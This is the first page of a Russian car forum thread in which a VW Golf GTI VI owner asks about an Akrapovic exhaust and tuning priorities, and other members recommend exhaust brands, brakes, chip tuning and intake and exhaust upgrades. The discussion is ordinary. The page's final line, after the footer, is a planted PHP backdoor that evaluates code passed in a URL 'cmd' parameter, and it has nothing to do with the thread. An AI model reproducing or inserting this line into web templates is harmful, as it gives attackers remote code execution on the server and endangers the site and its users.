+ Ответить в теме
Страница 1 из 6 1 2 3 ... ПоследняяПоследняя
Показано с 1 по 10 из 51

Тема: Akrapovic - советуюсь


  1. #1
    GTI-Racing Olek is on a distinguished road Аватар для Olek
    Регистрация
    11.01.2012
    Откуда
    Подольск
    Машина
    Golf VI R20
    Сообщений
    135

    Question Akrapovic - советуюсь

    Друзья, душещипательную история вам расскажу :) Сколько владею разными машинами, столько мечтал о GTI. В прошлом году реализовал мечту как вторую машину в семье, ну и фактически мою единственную, т.к. на машине "для семье" уже ездит жена :) Взял GTI VI Adidas Edition, очень красивая тачка...белая, три двери. Когда чистая, все пропускают даже))
    Пробки, подустал на ней, взял на ручке, не мог породу портить, да и просит она газа...не просто было) Думал даже продать. А тут....знаете...нравиться мне начала. Причём очень :) По другому, а не как при покупке. Ну вы понимаете ;)
    Не смог найти ни одной толковой статьи, что в первую очередь тюнингуют владельцы GTI, и что советуют "ателье", а-ля ABT.
    "Ну тогда сам" - подумал я :) Начал смотреть выхлопные системы, остановил свой выбор на AKRAPOVIC S-VWGMK6H-C. Звук, конечно, великолепный...машина легче... Но признаться честно, абсолютная жертва маркетинга. Бренд года дважды, комплект "снял-поставил" и т.п. Мастерские устанавливают без проблем. Друзья, может подскажите ещё выхлопные системы? Да и посоветоваться хочу, в каком порядке двигаться? Хочется сделать не болид, конечно, а машину для души...надёжную, быструю, когда надо, заметную, но не броскую, при этом на каждый день. Я даже поставил RNS-510, часто навигатор нужен. Но хочется "зарядить" :)
    Спасибо за советы.

  2. #2
    GTI-Racing FoxGTI is on a distinguished road Аватар для FoxGTI
    Регистрация
    01.08.2010
    Откуда
    Москва
    Машина
    VW GTI Mk5 Red SKN Stage 3 269л.с.
    Сообщений
    66
    Борла, миллтек, супер спринт, магнафлоу, блюфлейм, ремус!
    Нeвозможно жить лучшe,чeм проводя жизнь в стрeмлeнии стaть совeршeннee.

  3. #3
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Баштюк еще !
    песок сыпется....не останавливайтесь на достигнутом !

  4. #4
    SMokED
    Guest Аватар для SMokED
    Баштюк кароший тоже )
    А вообще все это побрякушки,Выпуск надо с даунпайпа начинать строить ) и дальше прямую трубу на 3х дюймовой трубе.
    А в целом направлений для работы много, вопрос только твоего кошелька и желания. впуск, выпуск, прошивка, тормоза, подвеска... простор присутствует.

  5. #5
    GTI-Racing Kamich is just really nice Kamich is just really nice Kamich is just really nice Kamich is just really nice Аватар для Kamich
    Регистрация
    23.06.2010
    Откуда
    Mascwa
    Машина
    FE V, ранее GTI 5 MT&DSG
    Сообщений
    1,666
    Боюсь что не открою ничего нового. Серьезный тюнинг начинается с тормозов.
    Если тюнинг планируется не на столько серьезный, то начни с чип-программы на двигатель. В Москве самые доступные это АПР и Рево. Их контакты можно найти на форуме.
    Следующий шаг- впуск, выпуск от турбины на 3 дюйма, интеркуллер.
    Следующий шаг, до которого мало кто доходит- замена турбины. На этот шаг идти на стоковых тормозах не стоит. Ну и дополнительно смотри на свою подвеску..
    In a world that's digital, we choose to be ANALOG.

  6. #6
    GTI-Racing Olek is on a distinguished road Аватар для Olek
    Регистрация
    11.01.2012
    Откуда
    Подольск
    Машина
    Golf VI R20
    Сообщений
    135
    Ясно...как раз сейчас присматриваю тормозные системы. Кстати, APR далеко не самые дешёвые и доступные системы, IMHO

  7. #7
    GTI-Racing Kamich is just really nice Kamich is just really nice Kamich is just really nice Kamich is just really nice Аватар для Kamich
    Регистрация
    23.06.2010
    Откуда
    Mascwa
    Машина
    FE V, ранее GTI 5 MT&DSG
    Сообщений
    1,666
    Апр делает разные системы =) ты про какие говоришь? Тормоза ихние брать смысла нет! А вообще по тюнингу в России если не заморачиваться и не рыть тонны литературы- они лучшие. Все ставится, известно как настраивается.. короче все вкусно.
    In a world that's digital, we choose to be ANALOG.

  8. #8
    GTI-Racing Olek is on a distinguished road Аватар для Olek
    Регистрация
    11.01.2012
    Откуда
    Подольск
    Машина
    Golf VI R20
    Сообщений
    135
    Я про APR/Brembo Stage I Front - 2.0T. Цена на сайте представительства $3,354

  9. #9
    GTI-Racing Kamich is just really nice Kamich is just really nice Kamich is just really nice Kamich is just really nice Аватар для Kamich
    Регистрация
    23.06.2010
    Откуда
    Mascwa
    Машина
    FE V, ранее GTI 5 MT&DSG
    Сообщений
    1,666
    расслабься =) это дурогоны из представительства. Там стоит обычный Брембо кит с шильдиком АПР.
    Тебе фирмы тормозов подсказать?
    In a world that's digital, we choose to be ANALOG.

  10. #10
    GTI-Racing Olek is on a distinguished road Аватар для Olek
    Регистрация
    11.01.2012
    Откуда
    Подольск
    Машина
    Golf VI R20
    Сообщений
    135
    Да) Спасибо)

+ Ответить в теме
Страница 1 из 6 1 2 3 ... ПоследняяПоследняя

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}